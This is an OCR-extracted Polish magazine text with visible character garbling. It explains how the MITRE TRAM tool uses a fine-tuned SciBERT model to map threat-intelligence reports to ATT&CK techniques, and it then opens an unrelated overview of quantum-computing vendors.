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Miara TF-IDF to iloczyn TF oraz IDF — w ten sposéb
~popularnos¢” danego stowa/zwrotu jest balansowana

przez jego ,rzadko$¢” w catym zbiorze. Stowo/zwrot, ktore
wystepuje w dokumencie czesto, ale rzadko w catym zbiorze
dokumentéw jest uznawane za istotne w danym dokumencie.

Algorytm TF-IDF jest jednym ze sposoboéw ekstrakcji cech
i nalezy do metod okreslanych jako count-based methods,
opierajgcych sie na statystyce wystepowanych stow.
Popularniejsza forma reprezentaciji staty sie jednak metody
z dziedziny predict-based methods opartych zwykle na
reprezentacji stbw za pomoca wektoréw. Jedng z takich
metod sg zanurzenia tekstowe (ang. word embeddings),
gdzie dane stowo jest osadzone w okreslonej przestrzeni
wektorowej okreslajgcej jego powigzania semantyczne

z innymi stowami ze zbioru danych.

phishing v

A

sphishing

Na rysunku powyzej przedstawiono wizualizacje zanurzenia
tekstowego dla stowa ,phishing”. Stowa z korpusu, zbioru stéw,
ktore majg podobne znaczenie dla zadanego hasta, sg potozone
od niego w bliskiej odlegtosci w przestrzeni wektorowej. Warto
zaznaczy¢, ze wizualizacja nie przedstawia petnej wymiarowosci
danego wektora; zwykle postacie wektorowe w zanurzeniach
tekstowych wahaja sie od 100 do 300 wymiaréw, w modelach
jezykowych siegajg od 512 po 1600 wymiarow. Wiekszy wymiar
oznacza zwykle wiekszg informacje niesiong w reprezentacji.

Wymienione elementy z dziedziny NLP kierujg nas do bardziej
zaawansowanych struktur reprezentacji tekstowych i sedna
gtéwnego modelu narzedzia TRAM. Oprdécz ekstrakcji cech
nalezy takze zastosowa¢ odpowiednig architekture, ktora
przetwarza takie reprezentacje. W pierwotnej wersji rozwigzania
TRAM zastosowano regresje logistyczng. To rozwigzanie

ma jednak minus, zwigzany z brakiem zachowania powigzan
pomiedzy sekwencjami wyrazéw wystepujacych w tekscie
raportu. Takie powigzania mozna osiagna¢ za pomoca stosowania
architektur opartych na sieciach rekurencyjnych takich jak:
Convolutional Neural Network (CNN), Recurrent Neural Network
(RNN), Long Short-Term Memory (LSTM). Architektury te podlegaja
stosownym ograniczeniom w przetwarzaniu jednego elementu

z sekwencji wejsciowej oraz tzw.: problemu zanikajgcego
gradientu (nie dotyczy sieci LSTM posiadajacych komérki

pamieci) w przypadku dtugich sekwencji wejsciowych
(np.: dtugi artykut tekstowy), gdzie zdolnos¢ przechowywania
informacji o poprzednich sekwencjach jest mata.

Obecne modele jezykowe to jeszcze bardziej zaawansowane
sieci neuronowe. Przyktadem jest model jezykowy BERT

(ang. Bidirectional Encoder Representations from Transformers),
stworzony przez zespét Google. Nalezy wspomnieé, ze istnieje
wiele kolejnych wersji modelu BERT i jedna z nich, SciBERT
jest uzywana w narzedziu TRAM 2.0 jako domysiny model

do mapowania wyrazen na TTP z matrycy ATT&CK. Jest to
model trenowany na artykutach naukowych, gdzie korpus
tekstowy to ponad milion artykutéw, tacznie 3 miliardy tokendw.

Istota modelu BERT sprowadza sie do wyjasnienia architektury
transformera, rodzaju sieci neuronowej, stanowigcej obecnie
rozwigzanie state-of-the-art w NLP.

Architektura ta zostata przedstawiona oryginalnie w 2017

roku w pracy ,,Attention is all you need” jako rozwigzanie
wykorzystujace mechanizm uwagi (ang. attention mechanism),
eliminujgc w ten sposob przetwarzanie sekwencyjne znane

z sieci rekurencyjnych.

Uproszczona architektura transformera zostata przedstawiona
na rys. ponizej.
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Dane wyjsciowe
przesunigte w prawo

¢

Transformer skiada sie z dwoch stoséw: enkodera

i dekodera. To elementy przetwarzajgce dane i zawierajace
w sobie m.in.: mechanizm uwagi oraz jednokierunkowa
sie¢ neuronowa. Z punktu widzenia dalszej czesci artykutu,
skupimy sie na abstrakcyjnym wyjasnieniu elementow
transformera bez wchodzenia gtebiej w architekture stosu
enkodera i dekodera.Dziatanie transformera wyjasnijmy

na przyktadzie klasycznego jego zastosowania, czyli ttumaczenia
tekstu z jednego jezyka na drugi. W ponizszym opisie stosujemy

stowo ,,blok”, aby fatwiej okresli¢ abstrakcyjna forme enkodera.
Stowo token oznacza w tym kontekscie wydzielony element

(0
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Iteracje: 0, 1 ...

z sekwencji, przyktadowo [,,Witaj”, ,$wiecie”, ,,!"] to trzy tokeny
z sekwencji ,Witaj Swiecie!”. Nie wnikamy takze poczatkowo
w proces uczenia transformera, zaktadamy, ze korzystamy

z transformera nauczonego do ttumaczenia tekstu z jezyka
polskiego na angielski.

W przyktadzie z rysunku Reprezentacja wektorowa stowa
»Phishing” mozna zauwazy¢ sekwencje wejsciowa ,,Witaj
Swiecie!”. Bez watpienia tekstowy typ danych nie moze zostac
odpowiednio zrozumiany przez algorytmy uczenia maszynowego.
Pierwszy element w strukturze transformera to ,,blok”, w ktérym
dokonuje sie zanurzenie tokenéw w ich zbiorze dostepnych

z treningu (np.: 50 000 tokenow). Na wyjsciu tego bloku
otrzymywana jest sekwencja wektoréw, dzieki ktdrej kolejne
bloki enkodera sg w stanie pracowaé z danymi tekstowymi.

Majac informacje o semantyce tokenu z sekwenciji, transformer
musi mie¢ informacje o potozeniu wyrazéw w zdaniu - intuicyjny
wydaje sie nam fakt, ze szyk stéw w zdaniu ma znaczenie.

Do zachowania tej informacji wykorzystuje sie positional
encoding, ktéry w dodaniu z wektorem zanurzenia tworzy
wektor przetwarzany dalej do struktury stosu enkodera. Warto
zauwazyc, ze stos enkodera, podobnie jak dekodera, sktada sie
z N blokéw tworzacych stos. Liczba ta jest hiperparametrem
modelu i jest ustalana w trakcie uczenia.

Transformer operuje na danych w sposéb réwnolegty a sekwencje
tokendw przetwarzane sg w catosci — nie tak jak w przypadku
sieci rekurencyjnych przetwarzajacych sekwencje token po
tokenie. W ten sposob, kolejne warstwy enkodera wzbogacaja
wektor wyjsciowy z uzyciem mechanizmu uwagi, dzieki ktéremu
kazdy token w sekwencji otrzymuje odpowiednig waznosé

w reprezentacji wektorowej z uwzglednieniem catej sekwencji

i danego tokena.

Intuicja jaka mozna kierowac sie przy rozumieniu mechanizmu
uwagi opiera sie na przyktadzie zdania: ,,The animal didn’t
cross the street because it was too tired” . Z punktu
widzenia maszyn rozumienie czy stowo ,,it” odnosi sie

do ,,The animal” czy do ,sstreet” jest nietrywialne. To wiasnie
mechanizm uwagi pozwala maszynie na rozumienie
kontekstu stow w zdaniu i przypisaniu ,it” do ,,the animal”
tak jak naturalnie zrobitby to cztowiek.

W praktyce, ten mechanizm uwagi aplikowany jest na token
kilka razy otrzymujac w ten sposéb reprezentacje wektorowe
dla danego tokena, uwzgledniajgc rozne relacje pomiedzy
tokenami w sekwencji.

Po przejsciu przez kolejne bloki enkodera i wzbogaceniu
sekwencji wektoréw, otrzymujemy gotowy zbior wektordw

z mechanizmoéw uwagi, ktére nastepnie trafiajg do kazdej
warstwy stosu dekodera. Generowanie, a w tym przypadku
ttumaczenie sekwencji wejsciowej, rozpoczyna sie od podania
znaku oznaczonego jako ,<sos>" (ang. start of the sentence).
To token specjalny, ktory jest poczatkiem generowania kolejnych
tokendw. Sg one generowane w taki sposdb, ze kolejny
otrzymany token (na wyjsciu oznaczonym Dane wyjSciowe)
trafia jako wejscie do dekodera (oznaczone jako Dane
wyjéciowe przesuniete w prawo). Na rys. Reprezentacja
wektorowa sfowa ,phishing” wygenerowane tokeny z
aznaczono na pomaranczowo wraz z iteracjami:

0 (pierwszy token ,<sos>"), 1 (drugi token ,Hello”).

Tokeny zaznaczone na szaro bedg kolejnymi wygenerowanymi
tokenami. Dekoder ma zasadniczo dwa mechanizmy uwagi,
z ktorych jeden pozwala dekoderowi patrze¢ tylko

na poprzednio utworzone tokeny (oznaczone jako Dane
przesunigte w prawo). Drugi pozwala na skojarzenie
odpowiednich tokendéw wejsciowych enkodera z tymi

z dekodera (poniewaz pochodza one z roznych jezykow).
Mozliwos$¢ brania pod uwage poprzednio wygenerowanych
tokenow i ponownej intepretacji ich przez dekoder jest jego
wazng cecha, pozwalajac zrozumie¢ jemu pewien kontekst
generowanej tresci. Cata generacja wyj$ciowych danych
odbywa sie, dopdki dekoder nie wygeneruje znaku
zakonczenia generowania ,,<eos>" (ang. end of sentence).
Otrzymana wyjsciowa sekwencja to ,Hello world!”.

Nalezy mie¢ na wzgledzie, ze powyzszy opis zawiera

sporo uproszczen szczegodlnie w powigzaniu enkodera

z dekoderem oraz samego dziatania warstw enkodera

i dekodera. Pozwala nam jednak zrozumie¢ motywacje
uzywania LLM (ang. Large Language Model) do zadan
zwigzanych z NLP. Architektura wspotczesnych transformeréw
dzieli sie w gtéwnej mierze na: same enkodery, same

dekodery lub enkodery-dekodery. Pierwsze z nich najlepiej
sprawdzajg sie w zadaniach zwigzanych z rozumieniem tresci
wejsciowej jak np.: BERT, drugie z generacja tekstu

tak jak na przyktad popularne ostatnio modele GPT

(ang. Generative Pre-trained Transformer).

Dane, dane i jeszcze raz dane

Nauczenie modelu SciBERT wykorzystywanego przez
narzedzie TRAM do mapowania TTP sprowadza sie
do skonstruowania odpowiedniego zbioru danych.

Nalezy zaznaczy¢, ze modele LLM sg juz pretrenowane,
SciBERT byt nauczony na zbiorze danych sktadajgcych
sie z artykutow naukowych. Dzieki temu pretrenowane
modele sg w stanie rozwigzywac zadania z zakresu NLP
takie jak: analiza sentymentu, odpowiadanie na pytania,
predykcja tekstu, generacja tekstu, podsumowania.

Uzytkownik majac do dyspozyciji pretrenowany model
dostraja go (ang. fine-tuning) na wtasnym zbiorze danych
do bardziej specyficznych zadan. W przypadku narzedzia
TRAM, autorzy utworzyli otwartozrédtowe zbiory: jeden
sktadajagcy sie z oznaczonych TTP na poziomie zdan
(ang. sentence-level annotation), a drugi sktadajacy sie

z TTP na poziomie stow (ang. phrase-level annotation)
tak jak przedstawiono to na rys. ponizej.
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Pierwszy z nich jest zbiorem eksperymentalnym i ze wzgledu
na maty rozmiar zbioru przektada sie na niskie wyniki metryk
modelu, nie zostat uzyty w produkcyjnym srodowisku. Jest
on zasadniczo doktadniejszy (lewa strona rysunku Dwa zbiory
uzyte w narzedziu TRAM), poniewaz pozwala na detekcje
kilku technik w obrebie tych samych wyrazen.

W zbiorze danych wybrano takze 50 technik z matrycy
ATT&CK ze wzgledu na trudno$¢ w oznaczeniu wiekszej
ilosci technik i subtechnik. Do trenowania modelu LLM
wykorzystano 152 raporty z 5089 oznaczonymi wyraze-
niami, gdzie w poprzednim zbiorze do treningu regresji
logistycznej uzyto okoto 19011 prdobek.

Czestotliwos¢ wystepowania technik ATT&CK w zbiorze dla LLM

Przeglad podstawowych funkcji

Uzytkownik korzystajac z narzedzia TRAM ma do dyspozycji
web aplikacje, ktérej instalacja sprowadza sie do zainstalowania
kontenera TRAM z uzyciem Dockera w swoim $rodowisku.
Mozliwe jest takze korzystanie z APl narzedzia np.:

do trenowania zadanego modelu.Administrator narzedzia
moze utworzy¢ konto uzytkownikom poprzez korzystanie z
bazy Django (rys. Panel administratora, w kolejnych krokach
przedstawiono widoki zalogowanego administratora ).

T1027 4 + Obfuscated Files or Information
T1l40 Deobfuscate/Deccde Files or Information
T1059.003 F Windows Command Shell
T1055 4 I Process Injection
T1105 r Ingress Tool Transfer
T1106 4 I Native API
T1078 r Valid Accounts
T1071.001 I Web Protocols
T1090 | b Proxy
T1082 t System Information Discovery
T1003.001 r LSASS Memory
T1053.005 Scheduled Task
T1112 4 b Modify Registry
T1083 4 r File and Directory Discovery
T1562.001 Disable or Maodify Tools
T1021.001 4 F Remote Desktop Protocol
T1204.002 § r Malicious File
T1566.001 Spearphishing Attachment
T1070.004 § [ File Deletion
T1057 I Process Discovery
T1041 r Exfiltration Ower C2 Channel
= T1574.002 4 b DLL Side-Loading
£ T1047 4 b Windows Management Instrumentation
E T1036.005 F Match Legitimate Name or Location
% T1056.001 Keylogging =]
= T1005 t Data from Local System @
£ T1110 4 b Brute Force
E T1547.001 Registry Run Keys [ Startup Folder
=] T1570 4 [ Lateral Tool Transfer
T1016 I System Network Configuration Discovery
T1573.001 Symmetric Cryptography
T1218.0114 t Rundll22
T1219 4 r Remote Access Software
T1190 4 r Exploit Public-Facing Application
T1543.003 Windows Service
T1095  Non-Application Layer Protocol
T1033 4 t System Owner/User Discovery
T1113 Screen Capture
T1518.001 4 b Security Software Discovery
T1548.002 I Bypass User Account Control
T1012 Query Registry
T1074.001 4 I Local Data Staging
T1484.001 4  Group Policy Modification
T1569.002 Service Execution
T1552.001 4 r Credentials In Files
T1564.001 [ Hidden Files and Directories
T1210 4 + Exploitation of Remote Services
T1068 Exploitation for Privilege Escalation
T1072 b Software Deployment Teols
T1557.001 r LLMNR/NBT-NS Poisoning and SMB Relay
[} 100 200 300 400 500 600 700

llosc

Na rysunku powyzej przedstawiono techniki wystepujace
w zbiorze utworzonym do treningu modelu SciBERT.
Jest to zbiér niezbalansowany pod wzgledem klas,

gdzie najwiekszg ilos¢ wystgpien ma technika T1027.
Uzycie niezbalansowanego zbioru stanowi wyzwanie

do pretrenowania modelu, zwtaszcza, jesli ilos¢
wyjsciowych klas jest liczna.
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e > ¢ Q D localhost

Django administration

Site administratior

Recent actions

Groups + Add

Users + Add My actions
None available

Config Change

Attack objects + Add

Document processing jobs +Add

Documents + Add

Mappings + Add

Reports + Add

Sentences + Add

Po zalogowaniu sie do narzedzia, giéwny panel

(rys. Gfdwny widok narzedzia.) to dodane raporty

ze zmapowanymi technikami (stan Reviewing), oczekujace
na przetworzenie (stan Queued) lub zaakceptowane

(stan Accepted).

TRAM Reports || MLAdmin | Upload Report 2. | Logout
Reports
Report actions status Sentances
Job: Analyze raport20.pdf
Bootstrap Training Data nalyze | Export + m Accepted: 11130
By: pipeline (manual) on 2023-08-31 14:12:04 UTC. = Reviewing: 0
Total: 11130
Report For raport_1_SgYxMST.pdF Analyze | xport - | Downioad Reviewing Acweted 1>

By: diangoSuperuser on 2024-02:07 12:20:13 UTC = Reviewing: 211
Total: 226

Report For raport_3.pdf s | [Expart =) [Dowmiosd e Accepted: 0
By: djangosuperuser on 2024-02.07 133104 UTC Reviewing: 1255
Total: 1255

Report for raport_5.pdf el Reviewing Accepted: 0
By: jangoSuperuser on 20240207 134053 UTC Reviewing: 193
Total: 193

Przetwarzanie kilkunastostronicowego dokumentu trwa
Srednio kilka minut. Mozliwe formaty zamieszczanych raportéw
to JSON, .docx, .pdf, .txt.

Close Report || MLAGmin || UploadReport & | Logout

Report for raport20.pdf

enabie aata exntiration (masety Mappi
appings
1 droppers (.9, TEARDROP) to enable data exfiltration (mostly compromised "
Technique Confidence
Serversand encoyptedsst o
data exfiltration (mostly compromised servers and encrypted SSL connections). T1090- Proxy s23% a
“The group further employs

(backup) as

1 group further employs HTTP/S and Twitter (backup) as command and control
communications methods.

PT29 uses social Twitter or

GitHub, as
social networks such as Titter or GitHub, as well as cloud storage services,

1 or GitHub, services, to transfer

W widoku analizowanego raportu (rys. Widok analizowanego
raportu) uzytkownik moze manualnie oznaczaé techniki
dostepne z bazy danych lub akceptowac te oznaczone

przez model. Akceptowane i oznaczone techniki trafiajg

do bazy danych, z ktérej dane moga postuzy¢ do retrenowania
wybranego modelu, a finalnie oznaczony raport moze

by¢ ekstraktowany do postaci JSON lub .docx

(rys. Oznaczony raport w .docx, podsumowanie

i Zmapowane wyrazenia z raportu na TTP w oznaczonym
raporcie .docx.).

TRAM Report for raport20.pdf
Accepted Sentences: 1

Reviewing Sentences: 1049

Total Sentences: 1050

Techniques Found

Total Techniques: 26

Attack Id: T1005, Name: Data from Local System

Attack Id: T1016, Name: System Network Configuration Discovery
Attack Id: T1027, Name: Obfuscated Files or Information

Attack Id: T1036.005, Name: Match Legitimate Name or Location
Attack Id: T1041, Name: Exfiltration Over C2 Channel

Attack Id: T1053.005, Name: Scheduled Task

Attack Id: T1068, Name: Exploitation for Privilege Escalation
Attack Id: T1070.004, Name: File Deletion

Attack Id: T1071.001, Name: Web Protocols

Attack Id: T1074.001, Name: Local Data Staging

Attack Id: T1078, Name: Valid Accounts

Attack Id: T1082, Name: System Information Discovery

Attack Id: T1083, Name: File and Directory Discovery

Attack Id: T1090, Name: Proxy

Attack Id: T1105, Name: Ingress Tool Transfer

Attack Id: T1106, Name: Native API

Attack Id: T1110, Name: Brute Force

Attack Id: T1140, Name: Deobfuscate/Decode Files or Information
Attack Id: T1218.011, Name: Rundll32

Attack Id: T1518.001, Name: Security Software Discovery
Attack Id: T1543.003, Name: Windows Service

Attack Id: T1547.001, Name: Registry Run Keys / Startup Folder
Attack Id: T1562.001, Name: Disable or Modify Tools

Attack Id: T1566.001, Name: Spearphishing Attachment

Attack Id: T1569.002, Name: Service Execution

Attack Id: T1573.001, Name: Symmetric Cryptography

and encrypted 551 connections). The group Attack Td: TTO71.001, Name: Web
further employs HTTP/S and Twitter (backup) as | Protocols, Confidence: 99.6%

group further employs HTTP/S and Twitter
(backup) as command and control
communications methods

Twitter (backup) as command and control

Attack Id: T1071.001, Name: Web
Protocols, Confidence: 99.7%

Attack Id: T1090, Name: Proxy,

communications methods. APT29 uses social Confidence: Manually Accepted
networks such

control communications methods. APT2Y9 uses Attack Id: T1090, Name: Proxy,
social networks such as Twitter or GitHub, as Confidence: 83.4%

or GitHub, as well as cloud storage services, to Attack Id: T1090, Name: Proxy,
forward commands and transfer Confidence: 82.9%

cloud storage services, to forward commands Attack Id: T1090, Name: Proxy,
and transfer data from infiltrated networks. To Confidence: 85.4%

mnfiltrated networks. To do this, the commands Attack Id: T1027, Name:
are encrypted and embedded in images Obfuscated Files or Information,
Confidence: 99.8%

the commands are encrypted and embedded in Attack Id: T1027, Name:
images (g.g.. GIES). The exfilirated data Obfuscated Files or Information,
Confidence: 99.8%

The exfillTated data is then uploaded to cloud Attack Td: T1041, Name:
storage services. APT20 also conducts tration Over C2 Channel,
Confidence: 86.4%

already avallable in the target system in order to | Attack Id: T1569.002, Name:
execute their malicious operations. Service Execution, Confidence:
81.9%

Panel ML admin dostepny z poziomu administratora
przedstawia oznaczone techniki z raportéw (lewa strona
rys. Panel ML admin), dostepne modele (prawa strona
rys. Panel ML admin).
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W= TRAM
ML Admin

Sentences Per Technique ML Models

# Technique  Technique Name Accepted  Pending
ntence:

Total Model Name LastTrained  Accuracy Trained
D Sentences Ser nte

s Sentences (FiScore)  Techniques

08/31/2023 8537% s0
18:14:51 UTC

08/31/2023 79.48% 50
141344 UTC

ML Settings manage
Setting Value

ML_ACCEPT_THRESHOLD 4

ML_CONFIDENCE_THRESHOLD 80

Widoczne sg w nim takze parametry do konfiguracii:

- ML_ACCEPT_THRESHOLD oznaczajacy prog
zaakceptowanych wystapien technik, ponizej ktérego

dana technika nie jest uwzgledniana w raporcie koncowym,

- ML_CONFIDENCE_THRESHOLD oznaczajacy prég ufnosci
modelu, ponizej ktérego dane wyrazenie nie jest brane

pod uwage w mapowaniu.

Z tego samego panelu mozemy zauwazy¢ 5 dostepnych
modeli uzywanych w narzedziu i mozliwych do wyboru
z konfiguracji kontenera:

modele z biblioteki SKLearn:

- LogisticRegressionModel — model Logistic
Regression

- NaiveBayesModel — model Multinomial NB

- Multilayer Perception — model MLPClassifier

- DummyModel — model Dummy Classifier

model LLM z biblioteki Transformers w implementacji

PyTorch:

- BERT Classifier — dostrojony model SciBERT

DomysInym i najlepszym uzywanym modelem

pod wzgledem metryk jest model BERT Classifier.
Drugim najlepszym modelem pod wzgledem metryk

jest model LogisticRegressionModel. Porownanie metryk
znajduje sie na rysunku Tabela przedstawiajgca
porownanie modeli: SciBERT i Logistic Regression.

macro 838 .806 814
Logistic micro .856 .856 .856
Regression ..o 860 .789 .815

Metryki P, R, F1 oznaczajg odpowiednio Precision, Recall

i F1score. Sg to popularne metryki uzywane przy ocenie
modeli, wiecej o metrykach w artykule: . Stowo micro odnosi
sie do micro-averaging oznaczajgcego obliczanie metryk P,

R, F1 na podstawie wszystkich przypadkéw detekcji technik.
Oznacza to, ze kazda wykryta (poprawnie lub nie) technika
ma taki sam udziat w zadanej metryce - to ocena ogdinej
poprawnosci detekcji modelu bez wzgledu na technike.
Stowo macro odnosi sie do obliczania metryk P, R, F1

dla kazdej wykrytej techniki osobno, a nastepnie usredniania
danej metryki — w ten sposéb oceniamy model z perspektywy
klas zapewniajgc kazdej rowna reprezentacje.

SciBERT osigga metryki P, R i F1 na poziomie 88.2%

w Sredniej micro. Metryka Precision wskazuje, ze jesli model
przewiduje, ze jakas technika jest obecna, to jest on skuteczny
w 88.2% przypadkach. Recall na poziomie 88.2% mowi

o wykryciu 88.2% wszystkich rzeczywistych wystapien
technik w zadanym tekscie. F1-score na poziomie 88.2%
bedacy $rednig harmoniczng Precision i Recall zapewnia

o zbalansowanej wydajnosci modelu.

Logistic Regression osigga nizsze metryki we wszystkich
przypadkach micro i macro z wyjgtkiem Precision w macro,
chociaz w ogélnym zbalansowaniu F1-score nadal osigga
mniejsza warto$¢ metryki niz SCIBERT w tym samym
przypadku.SciBERT jest bardziej efektywnym modelem

do detekcji technik, posiada on tez wszystkie wartosci micro
wieksze niz makro, co moze wskazywac, ze model radzi
sobie lepiej z czesciej wystepujacymi technikami niz z tymi,
ktore pojawiajg sie rzadziej, co znajduje swoje
odzwierciedlenie w ogélnym dziataniu takich modeli.

Narzedzie TRAM pozwala na integracje wtasnych modeli

do interfejsu korzystajgc z wtasnych zbioréw danych.
Udostepnia takze notatniki do uruchomienia lokalnie

czy na infrastrukturze Google Colab do pretrenowania modelu
LLM = na wtasnych danych, a nastepnie zintegrowania

go do samego narzedzia.
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Narzedzie TRAM stanowi probe wiaczenia sztucznej
inteligencji do narzedzi analityka CTI. Zaprezentowane
modele osiggaja imponujgce wartosci pod wzgledem
metryk — w praktyce wymagajg ostroznego podejscia

pod wzgledem treningu i oznaczania odpowiednich wyrazen
stanowigcych o technikach TTP. Przetworzone przeze mnie
raporty czesto zawieraty mylne odniesienia do technik TTP,
oznaczaty wyrazenia niezwigzane z technikami, tak jak

na rys. Przyktadowe wyrazenia zmapowane na TTP, gdzie
zapewne wyrazenia NSA, CISA, Infrastructure Security
zostaty powigzane z technikg T1518.001 z dosy¢ wysoka
pewnoscig.

counterparts at the National Security Agency Attack Id: T1518.001, Name:
(NSA), the Critical Infrastructure Security and Security Software Discovery,
Cybersecurity Confidence: 97.5%

Agency (NSA), the Critical Infrastructure Attack Id: T1518.001, Name:
Security and Cybersecurity Agency (CISA), and Security Software Discovery,
the Department Confidence: 85.9%

Security and Cybersecurity Agency (CISA), and Attack Id: T1518.001, Name:
the Department of Justice - warned that Security Software Discovery,
Confidence: 96.0%

Korzystajac z tego narzedzia mozna odnie$¢ wrazenie,

ze wiele rzeczy nalezy jeszcze usprawnic, tak jak chociazby
umozliwienie pretrenowania i wyboru modeli z poziomu
interfejsu webowego. Istotny jest takze zbiér danych,
ktory powinien zawiera¢ wiecej r6znorodnych i starannie
oznaczonych wyrazen zapewniajac o wysokiej jakosci
danych do uczenia. Bardziej zaawansowane usprawnie-
nia obejmuja przede wszystkim mozliwos$¢ przetwarzania
raportow w réznych jezykach z uzyciem modeli takich jak
mBERT.

Wiaze sie to z koniecznoscig zbudowania nowego zbioru
danych, ktéry zawieratby oznaczone wyrazenia w réoznych
jezykach wskazujace na techniki TTP. Dodatkowo,
wyszukiwanie wyrazen, ktére moga sygnalizowacé
obecnos¢ TTP w raporcie moze obejmowac wiele zdan,
szerszy kontekst niz pojedynczy tekst zmapowany na dang
technike — takie usprawnienie rowniez wymaga zmiany
architektury modelu na rozwigzanie takie jak SpanBERT

i odpowiednie dostosowanie zbioru treningowego do modelu.

Przedstawione modele jezykowe, cho¢ dla zwyktego
uzytkownika moga stanowi¢ narzedzie typu black box,

to istnieja rozwigzania wyjasniajgce dziatanie takich modeli.
Dziedzina zajmujgca sie XAl (ang. explainable Al) udostepnia
narzedzia pomagajgce usprawnic ten proces.

TRAM jest tez rozwigzaniem stale usprawnianym z bardzo
sprawnie dziatajgcym zespotem rozwigzujgcym kolejne

problemy zgtaszane przez uzytkownikéw na ich repozytorium.

Caly obszar CTI, jako jedna z najmtodszych gatezi
cyberbezpieczenstwa, moze zyskaé bardzo duzo
wykorzystujac nowe rozwigzania oparte na Al.
Spodziewamy sie, ze bardzo dobre wyniki bedzie

mozna osigga¢ wykorzystujgc analityke opartg

na sztucznej inteligencji podczas przygotowywania
dopasowanych do organizacji oceny zagrozen

oraz wynikajacych z niej planéw minimalizacji ryzyka.

Tutaj wektorem danych beda nie tylko informacje
zewnetrzne o zagrozeniach, ale rowniez biezgce dane

o infrastrukturze, powierzchni ataku, konfiguracji systemow.
Niemniej niniejsze testy wskazuja, iz bardziej zaawansowane
narzedzia i zastosowania wymagaja wiele pracy

by zaczaé uzyskiwaé zadowalajace wyniki w skali
produkcyjnej — czyli wspomagania w petni
zoperacjonalizowanego CTI.

Rafat Wolert
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Komputery kwantowe, podobnie jak domowe reaktory jadrowe
czy spersonalizowana medycyna genetyczna, to kierunki
rozwoju nauki i technologii, ktére wczesniej obiecywaty ra-
dykalne zmiany w naszym zyciu, a obecnie opuscity juz mury
uniwersytetéw. Firmy sektora prywatnego inwestujg olbrzymie
sumy dazgc do tego, by te wizje naukowe zostaty wcielone w
zycie. Znajac potencijat tych technologii, chca de facto sprawic,
ze beda pionierami i unikalnymi posiadaczami wyjatkowych
mozliwosci technologicznych. W zakresie obliczern kwantowych
jestesmy $wiadkami wyscigu, ktérego celem jest rozwigzanie
problemoéw obliczeniowych, dla ktérych rozwiktania klasyczne
metody zawiodty.

Przetwarzanie kwantowe rézni sie znaczaco od klasycznego
w podejsciu do przetwarzania danych. Obliczenia kwantowe
dziatajg na zasadach mechaniki kwantowej, gatezi fizyki,
ktora zajmuje sie zjawiskami w skali atomowej i subatomowej.
W przeciwienstwie do tradycyjnych komputeréw, ktére
przetwarzajg informacje w bitach binarnych (0 lub 1), gdy
bramy tranzystorowe otwierajg sie i zamykajg, komputery
kwantowe wykorzystujg kubity kwantowe. Kubity moga
istnie¢ jednoczesnie w wielu stanach (dzieki zjawisku
superpozycji), co pozwala komputerom kwantowym
wykonywac wiele obliczen jednoczesnie. Ta zdolnosé

do réwnolegtego przetwarzania nadaje komputerowi
kwantowemu jego nadzwyczajna moc. Matematyka i rézne
metody pomiaru kubitow méwia nam, ze manipulowanie
superpozycja moze by¢ wykorzystane do przetwarzania
ogromnych ilosci danych i rozwigzywania pewnych ztozonych
problemoéw z predkoscig niewyobrazalng w dzisiejszych
najpotezniejszych superkomputerach.

Rosngce inwestycje wskazujg na zaufanie do mozliwosci
zastosowania obliczer kwantowych w rewolucjonizowaniu
roznych sektoréw przemystu: od finanséw i farmaceutykéw
po logistyke i motoryzacje. Podczas gdy krajobraz obliczen
kwantowych tetni innowacyjnymi startupami, kilku gigantéw
branzowych ugruntowato sie jako pionierzy w tej dziedzinie.
Sa to:

IBM Quantum System Two - aktualny lider obliczen
kwantowych. Obecnie udostepnia w ramach IBM Quantum
System Two kilka komputeréw kwantowych, z ktérych
najnowszy, wykorzystujgcy procesor stworzonym przez IBM
o nazwie Heron, charakteryzuje sie mozliwoscig obliczen

w oparciu 0 133 Kubity.

Google Quantum Computing - kluczowymi

elementami ekosystemu kwantowego Google sg: Sycamore
Processor (komputer kwantowy byt w stanie rozwigzac
pewne zadania szybciej niz najpotezniejsze tradycyjne
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komputery), Quantum Al Lab: Google Quantum Al Lab
(jednostka badawcza odpowiedzialna za rozwijanie
technologii kwantowych), Quantum Supremacy, Bristlecone
(projektow, ktdre majg na celu zbudowanie bardziej
wydajnych uktadéw kwantowych), Quantum Computing
Services (ustugi dostepu do kwantowych zasobdéw
obliczeniowych).

Amazonia - w 2019 roku na kampusie w Caltech, gdzie

na poczatku lat 80 Richard Feynman po raz pierwszy
zaproponowat pomyst budowy komputera kwantowego,
Amazon Web Services (AWS) utworzyto centrum obliczen
kwantowych. Amazon Braket to w petni zarzgdzana ustuga
obliczen kwantowych, ktéra zapewnia dostep do sprzetu
kwantowego od réznych dostawcdw, w tym lonQ, Rigetti,
Oxford Quantum Circuits, QuEra i wtasnego Amazon Braket
Quantum Simulator.

Microsoft Azure Quantum - umozliwia korzystanie

ze sprzetu kwantowego, symulatoréw i narzedzi
programistycznych, pozwalajgc uzytkownikom

na eksperymentowanie z algorytmami kwantowymi i badanie
potencjatu obliczen kwantowych.

Intel - jako lider technologii komputerowych réwniez pracuje
nad dostarczeniem komercyjnego systemu kwantowego

w petnym stosie technologicznym. Niedawno wypuscit
12-kubitowy krzemowy uktad o nazwie Tunnel Falls,

aby przyspieszy¢ badania nad kubitem krzemowym.

Poza opisang wyzej piatkg wielkich BigTechdw, w obszarze
rozwoju komputerow kwantowych, jest jeszcze kilka znaczacych
firm i szereg projektow, takich jak: D-Wave, Quantinuum,

Rigetti Computing, Xanadu, czy Atos Quantum.

WSsrod ekspertow panuje konsensus, ze stosowanie obliczen
kwantowych jest wiasciwie nieuniknione. Pytanie nie brzmi
»Cczy”, ale raczej ,kto” i ,kiedy” zastosuje je w praktyce.

Gdy do tego dojdzie mozliwosci komputerow kwantowych

w ogromnym stopniu wptyng na rézne branze, umozliwiajgc
rozwigzywanie nawet tych najbardziej ztozonych probleméw
obejmujacych wielka liczbe zmiennych i potencjalnych wynikow.

Biznesowe zastosowanie przetwarzania kwantowego
mozna pogrupowac wedtug obszaréw takich jak symulacije,
faktoryzacja, sztuczna inteligencja i optymalizacja.

Znane obecnie potencjalne zastosowania, ktore sg

w centrum uwagi, a wtasciwie badan, obejmuja:

Symulacja kwantowa: komputery kwantowe moga symulowaé
zachowanie ztozonych systemow, ktére majg zastosowanie
w chemii, materiatoznawstwie, odkrywaniu i projektowaniu
lekow.

Optymalizacja kwantowa: komputery kwantowe beda

w stanie bardziej wydajnie niz klasyczne komputery
rozwiazywac problemy optymalizacyjne w logistyce,
finansowaniu i zarzadzaniu taicuchem dostaw.

